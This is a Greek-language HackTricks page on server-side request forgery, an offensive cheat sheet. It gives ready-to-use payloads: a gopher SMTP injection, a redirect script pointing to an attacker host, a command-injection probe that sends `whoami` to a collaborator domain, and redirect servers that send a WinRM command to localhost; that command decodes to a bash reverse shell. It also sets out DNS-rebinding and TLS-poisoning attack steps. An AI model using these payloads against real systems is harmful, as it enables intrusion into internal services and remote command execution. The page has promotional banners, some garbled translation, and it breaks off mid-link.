.. | ||
cloud-ssrf.md | ||
README.md | ||
ssrf-vulnerable-platforms.md | ||
url-format-bypass.md |
SSRF (Server Side Request Forgery)
Χρησιμοποιήστε το Trickest για να δημιουργήσετε και να αυτοματοποιήσετε εργασιακές διαδικασίες με τα πιο προηγμένα εργαλεία της παγκόσμιας κοινότητας.
Αποκτήστε πρόσβαση σήμερα:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
- Εάν θέλετε να δείτε την εταιρεία σας να διαφημίζεται στο HackTricks ή να κατεβάσετε το HackTricks σε μορφή PDF, ελέγξτε τα ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ!
- Αποκτήστε το επίσημο PEASS & HackTricks swag
- Ανακαλύψτε την Οικογένεια PEASS, τη συλλογή μας από αποκλειστικά NFTs
- Εγγραφείτε στη 💬 ομάδα Discord ή στη ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @carlospolopm.
- Μοιραστείτε τα hacking tricks σας υποβάλλοντας PRs στα HackTricks και HackTricks Cloud αποθετήρια του github.
Βασικές πληροφορίες
Μια ευπάθεια Server-side Request Forgery (SSRF) συμβαίνει όταν ένας επιτιθέμενος παραπλανά ένα εξυπηρετητή πλευράς εξυπηρετητή να κάνει HTTP αιτήσεις σε έναν τομέα της επιλογής τους. Αυτή η ευπάθεια αποκαλύπτει τον εξυπηρετητή σε αυθαίρετες εξωτερικές αιτήσεις που κατευθύνονται από τον επιτιθέμενο.
Καταγραφή SSRF
Το πρώτο πράγμα που πρέπει να κάνετε είναι να καταγράψετε μια αλληλεπίδραση SSRF που δημιουργήθηκε από εσάς. Για να καταγράψετε μια αλληλεπίδραση HTTP ή DNS, μπορείτε να χρησιμοποιήσετε εργαλεία όπως:
- Burp Collaborator
- pingb
- canarytokens
- interractsh
- http://webhook.site
- https://github.com/teknogeek/ssrf-sheriff
- http://requestrepo.com/
- https://github.com/stolenusername/cowitness
- https://github.com/dwisiswant0/ngocok - Ένα Burp Collaborator που χρησιμοποιεί το ngrok
Παράκαμψη λευκής λίστας τομέων
Συνήθως θα διαπιστώσετε ότι το SSRF λειτουργεί μόνο σε συγκεκριμένους τομείς λευκής λίστας ή URL. Στην ακόλουθη σελίδα έχετε μια συλλογή τεχνικών για να προσπαθήσετε να παρακάμψετε αυτήν τη λευκή λίστα:
{% content-ref url="url-format-bypass.md" %} url-format-bypass.md {% endcontent-ref %}
Παράκαμψη μέσω ανακατεύθυνσης ανοιχτής σύνδεσης
Εάν ο εξυπηρετητής είναι σωστά προστατευμένος, μπορείτε να παρακάμψετε όλους τους περιορισμούς εκμεταλλευόμενοι μια ανακατεύθυνση ανοιχτής σύνδεσης μέσα στην ιστοσελίδα. Επειδή η ιστοσελίδα θα επιτρέπει SSRF στον ίδιο τομέα και πιθανότατα θα ακολουθήσει ανακατευθύνσεις, μπορείτε να εκμεταλλευτείτε την ανακατεύθυνση ανοιχτής σύνδεσης για να κάνετε τον εξυπηρετητή να έχει πρόσβαση σε οποιοδήποτε εσωτερικό πόρο.
Διαβάστε περισσότερα εδώ: https://portswigger.net/web-security/ssrf
Πρωτόκολλα
-
file://
-
Το σχήμα URL
file://
αναφέρεται, δείχνοντας απευθείας στο/etc/passwd
:file:///etc/passwd
-
dict://
-
Το πρωτόκολλο URL DICT περιγράφεται ως χρήση για την πρόσβαση σε ορισμούς ή λίστες λέξεων μέσω του πρωτοκόλλου DICT. Ένα παράδειγμα δίνει μια κατασκευασμένη διεύθυνση URL που στοχεύει σε μια συγκεκριμένη λέξη, βάση δεδομένων και αριθμό καταχώρησης, καθώς και ένα παράδειγμα ενός ενδεχόμενου κατάχρησης ενός σεναρίου PHP για να συνδεθεί με έναν διακομιστή DICT
From https://twitter.com/har1sec/status/1182255952055164929
1. connect with SSRF on smtp localhost:25
2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail
3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains
4. connect
- Παράκαμψη WAF με το Curl URL globbing
- Εάν το SSRF εκτελείται από το curl, το curl έχει μια δυνατότητα που ονομάζεται URL globbing που μπορεί να είναι χρήσιμη για την παράκαμψη των WAFs. Για παράδειγμα, σε αυτό το άρθρο μπορείτε να βρείτε αυτό το παράδειγμα για μια διατριβή διαδρομής μέσω του πρωτοκόλλου
file
:
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
- Gopher://
- Συζητείται η δυνατότητα του πρωτοκόλλου Gopher να καθορίζει την IP, τη θύρα και τα bytes για την επικοινωνία με τον διακομιστή, μαζί με εργαλεία όπως το Gopherus και το remote-method-guesser για τη δημιουργία φορτίων. Παρουσιάζονται δύο διακριτές χρήσεις:
Gopher://
Χρησιμοποιώντας αυτό το πρωτόκολλο, μπορείτε να καθορίσετε την IP, τη θύρα και τα bytes που θέλετε ο διακομιστής να στείλει. Έπειτα, μπορείτε ουσιαστικά να εκμεταλλευτείτε μια SSRF για να επικοινωνήσετε με οποιονδήποτε TCP διακομιστή (αλλά πρέπει να ξέρετε πώς να επικοινωνήσετε με την υπηρεσία πρώτα).
Ευτυχώς, μπορείτε να χρησιμοποιήσετε το Gopherus για να δημιουργήσετε φορτία για αρκετές υπηρεσίες. Επιπλέον, το remote-method-guesser μπορεί να χρησιμοποιηθεί για τη δημιουργία gopher φορτίων για υπηρεσίες Java RMI.
Gopher smtp
ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT
Gopher HTTP
Ο Gopher HTTP είναι μια τεχνική εκμετάλλευσης που επιτρέπει σε έναν επιτιθέμενο να προκαλέσει έναν Server-Side Request Forgery (SSRF) εκμεταλλευόμενος το πρωτόκολλο Gopher. Το Gopher ήταν ένα παλιό πρωτόκολλο που χρησιμοποιούνταν για τη μεταφορά δεδομένων μεταξύ διακομιστών. Αν και δεν χρησιμοποιείται ευρέως σήμερα, ορισμένες εφαρμογές εξακολουθούν να υποστηρίζουν το πρωτόκολλο Gopher.
Η τεχνική αυτή εκμεταλλεύεται τη δυνατότητα του πρωτοκόλλου Gopher να ανακατευθύνει αιτήσεις σε άλλους διακομιστές. Ο επιτιθέμενος μπορεί να στείλει μια αιτηση Gopher που περιέχει μια URL προς έναν επιθυμητό διακομιστή, και ο διακομιστής που λαμβάνει την αίτηση θα προσπαθήσει να ανοίξει την URL αυτή. Αυτό μπορεί να οδηγήσει σε εκτέλεση ανεπιθύμητων ενεργειών, όπως ανάγνωση αρχείων από τον τοπικό δίσκο του διακομιστή ή αποστολή ευαίσθητων δεδομένων σε έναν εξωτερικό διακομιστή.
Για να εκμεταλλευτεί κάποιος το Gopher HTTP, πρέπει να εντοπίσει μια εφαρμογή που υποστηρίζει το πρωτόκολλο Gopher και να εισάγει μια αιτηση Gopher που να περιέχει την επιθυμητή ενέργεια. Αυτό μπορεί να γίνει μέσω ενός πεδίου εισαγωγής URL, ενός αρχείου εισαγωγής ή μέσω ενός αιτήματος HTTP που περιέχει την αίτηση Gopher.
Για να προστατευθείτε από το Gopher HTTP, πρέπει να ελέγξετε την εφαρμογή σας για τυχόν ευπάθειες SSRF και να περιορίσετε την πρόσβαση σε εξωτερικούς διακομιστές. Επίσης, πρέπει να ενημερώνετε την εφαρμογή σας και να εφαρμόζετε τις τελευταίες ενημερώσεις ασφαλείας για να αποτρέψετε τυχόν εκμεταλλεύσεις.
#For new lines you can use %0A, %0D%0A
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body
Gopher SMTP - Σύνδεση προς τα πίσω στο 1337
{% code title="redirect.php" %}
<?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>Now query it.
https://example.com/?q=http://evil.com/redirect.php.
{% endcode %}
SSRF μέσω του κεφαλίδας Referrer & άλλων
Ο λογισμικός αναλυτικών στους διακομιστές συνήθως καταγράφει το κεφαλίδα Referrer για να παρακολουθεί τους εισερχόμενους συνδέσμους, μια πρακτική που απροσδίδεται απροθέτως στις εφαρμογές εκτεθειμένες σε ευπάθειες SSRF (Server-Side Request Forgery). Αυτό συμβαίνει επειδή τέτοιο λογισμικό μπορεί να επισκεφθεί εξωτερικές διευθύνσεις URL που αναφέρονται στο κεφαλίδα Referrer για να αναλύσει το περιεχόμενο του αναφερόμενου ιστότοπου. Για να αποκαλύψετε αυτές τις ευπάθειες, συνιστάται το πρόσθετο Burp Suite "Collaborator Everywhere", εκμεταλλευόμενο τον τρόπο με τον οποίο τα εργαλεία αναλυτικών επεξεργάζονται το κεφαλίδα Referer για την εντοπισμό πιθανών επιφανειών επίθεσης SSRF.
SSRF μέσω των δεδομένων SNI από το πιστοποιητικό
Μια λανθασμένη διαμόρφωση που μπορεί να επιτρέψει τη σύνδεση με οποιοδήποτε πίσω μέρος μέσω μιας απλής ρύθμισης απεικόνισης παρουσιάζεται με ένα παράδειγμα διαμόρφωσης Nginx:
stream {
server {
listen 443;
resolver 127.0.0.11;
proxy_pass $ssl_preread_server_name:443;
ssl_preread on;
}
}
Σε αυτή τη διαμόρφωση, η τιμή από το πεδίο Server Name Indication (SNI) χρησιμοποιείται απευθείας ως διεύθυνση του backend. Αυτή η ρύθμιση εκθέτει μια ευπάθεια στην επίθεση Server-Side Request Forgery (SSRF), η οποία μπορεί να εκμεταλλευτεί απλά δηλώνοντας την επιθυμητή διεύθυνση IP ή το όνομα τομέα στο πεδίο SNI. Ένα παράδειγμα εκμετάλλευσης για να επιβάλετε μια σύνδεση σε έναν αυθαίρετο backend, όπως το internal.host.com
, χρησιμοποιώντας την εντολή openssl
, παρουσιάζεται παρακάτω:
openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf
Μεταφόρτωση αρχείου με το Wget
SSRF με εντολή εισαγωγής
Μπορεί να αξίζει να δοκιμάσετε ένα payload όπως: url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`
Απεικόνιση PDFs
Εάν η ιστοσελίδα δημιουργεί αυτόματα ένα PDF με ορισμένες πληροφορίες που έχετε παράσχει, μπορείτε να εισάγετε κάποιον κώδικα JS που θα εκτελεστεί από τον ίδιο δημιουργό του PDF (τον διακομιστή) κατά τη δημιουργία του PDF και θα μπορείτε να καταχραστείτε ένα SSRF. Βρείτε περισσότερες πληροφορίες εδώ.
Από SSRF σε DoS
Δημιουργήστε αρκετές συνεδρίες και προσπαθήστε να κατεβάσετε βαριά αρχεία εκμεταλλευόμενοι το SSRF από τις συνεδρίες.
Συναρτήσεις SSRF PHP
{% content-ref url="../../network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md" %} php-ssrf.md {% endcontent-ref %}
Ανακατεύθυνση SSRF σε Gopher
Για ορισμένες εκμεταλλεύσεις μπορεί να χρειαστεί να στείλετε μια ανακατεύθυνση απόκρισης (πιθανώς για να χρησιμοποιήσετε ένα διαφορετικό πρωτόκολλο όπως το gopher). Εδώ έχετε διάφορους κώδικες Python για να απαντήσετε με μια ανακατεύθυνση:
# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl
class MainHandler(BaseHTTPRequestHandler):
def do_GET(self):
print("GET")
self.send_response(301)
self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%50%54%31%4d%33%30%53%3c%2f%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%77%3a%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%70%3a%44%61%74%61%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%74%69%6f%6e%53%65%74%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%20%4e%61%6d%65%3d%22%5f%5f%63%69%6d%6e%61%6d%65%73%70%61%63%65%22%3e%72%6f%6f%74%2f%73%63%78%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%3e%0a%20%20%20%20%20%20%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%3c%2f%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%3c%73%3a%42%6f%64%79%3e%0a%20%20%20%20%20%20%3c%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%22%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%63%6f%6d%6d%61%6e%64%3e%65%63%68%6f%20%2d%6e%20%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4d%43%34%78%4d%43%34%78%4e%43%34%78%4d%53%38%35%4d%44%41%78%49%44%41%2b%4a%6a%45%3d%20%7c%20%62%61%73%65%36%34%20%2d%64%20%7c%20%62%61%73%68%3c%2f%70%3a%63%6f%6d%6d%61%6e%64%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%74%69%6d%65%6f%75%74%3e%30%3c%2f%70%3a%74%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%2f%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%3e%0a%20%20%20%3c%2f%73%3a%42%6f%64%79%3e%0a%3c%2f%73%3a%45%6e%76%65%6c%6f%70%65%3e%0a")
```python
self.end_headers()
httpd = HTTPServer(('0.0.0.0', 443), MainHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True)
httpd.serve_forever()
Αυτό το τμήμα κώδικα χρησιμοποιείται για να δημιουργήσει έναν απλό HTTP server που ακούει στην IP διεύθυνση '0.0.0.0' και τη θύρα 443. Ο server χρησιμοποιεί το αρχείο πιστοποιητικού "server.pem" για να επιτρέψει την ασφαλή σύνδεση με SSL. Ο server παραμένει ενεργός συνεχώς και ανταποκρίνεται σε αιτήσεις HTTP.
from flask import Flask, redirect
from urllib.parse import quote
app = Flask(__name__)
@app.route('/')
def root():
return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301)
if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
Χρησιμοποιήστε το Trickest για να δημιουργήσετε και να αυτοματοποιήσετε εργασιακές διαδικασίες με τα πιο προηγμένα εργαλεία της κοινότητας.
Αποκτήστε πρόσβαση σήμερα:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Παράκαμψη DNS Rebidding CORS/SOP
Εάν αντιμετωπίζετε προβλήματα για να εξαγάγετε περιεχόμενο από μια τοπική IP λόγω του CORS/SOP, μπορείτε να χρησιμοποιήσετε το DNS Rebidding για να παρακάμψετε αυτόν τον περιορισμό:
{% content-ref url="../cors-bypass.md" %} cors-bypass.md {% endcontent-ref %}
Αυτοματοποιημένο DNS Rebidding
Το Singularity of Origin
είναι ένα εργαλείο για να πραγματοποιήσετε επιθέσεις DNS rebinding. Περιλαμβάνει τα απαραίτητα στοιχεία για να αναδείξει τη διεύθυνση IP του ονόματος DNS του διακομιστή επίθεσης στη διεύθυνση IP της στόχου μηχανής και να παρέχει φορτία επίθεσης για εκμετάλλευση ευπαθούς λογισμικού στην προορισμένη μηχανή.
Ρίξτε μια ματιά επίσης στον δημόσια λειτουργούντα διακομιστή στη διεύθυνση http://rebind.it/singularity.html
DNS Rebidding + TLS Session ID/Session ticket
Απαιτήσεις:
- SSRF
- Εξερχόμενες συνεδρίες TLS
- Πράγματα σε τοπικές θύρες
Επίθεση:
- Ζητήστε από τον χρήστη/ρομπότ να έχει πρόσβαση σε έναν τομέα που ελέγχεται από τον επιτιθέμενο
- Ο χρόνος ζωής (TTL) του DNS είναι 0 δευτερόλεπτα (ώστε ο θύτης να ελέγξει ξανά σύντομα την IP του τομέα)
- Δημιουργείται μια σύνδεση TLS μεταξύ του θύματος και του τομέα του επιτιθέμενου. Ο επιτιθέμενος εισάγει το φορτίο μέσα στο Session ID ή Session Ticket.
- Ο τομέας θα ξεκινήσει έναν άπειρο βρόχο ανακατευθύνσεων εναντίον του ίδιου του εαυτού του. Ο στόχος αυτού είναι να κάνει τον χρήστη/ρομπότ να έχει πρόσβαση στον τομέα μέχρι να πραγματοποιήσει ξανά μια αίτηση DNS για τον τομέα.
- Στην αίτηση DNS δίνεται μια ιδιωτική IP διεύθυνση τώρα (για παράδειγμα 127.0.0.1)
- Ο χρήστης/ρομπότ θα προσπαθήσει να επαναφέρει τη σύνδεση TLS και για να το κάνει αυτό θα στείλει το Session ID/Ticket ID (όπου περιείχε το φορτίο του επιτιθέμενου). Συγχαρητήρια, καταφέρατε να ζητήσετε από τον χρήστη/ρομπότ να επιτεθεί στον ίδιο τον εαυτό του.
Σημειώστε ότι κατά τη διάρκεια αυτής της επίθεσης, εάν θέλετε να επιτεθείτε στο localhost:11211 (memcache) πρέπει να κάνετε το θύμα να εγκαθιστά την αρχική σύνδεση με το www.attacker.com:11211 (η θύρα πρέπει να είναι πάντα η ίδια).
Για να πραγματοποιήσετε αυτήν την επίθεση μπορείτε να χρησιμοποιήσετε το εργαλείο: [https://github.com/jmdx/TLS-poison/](https://github.com/jmdx/T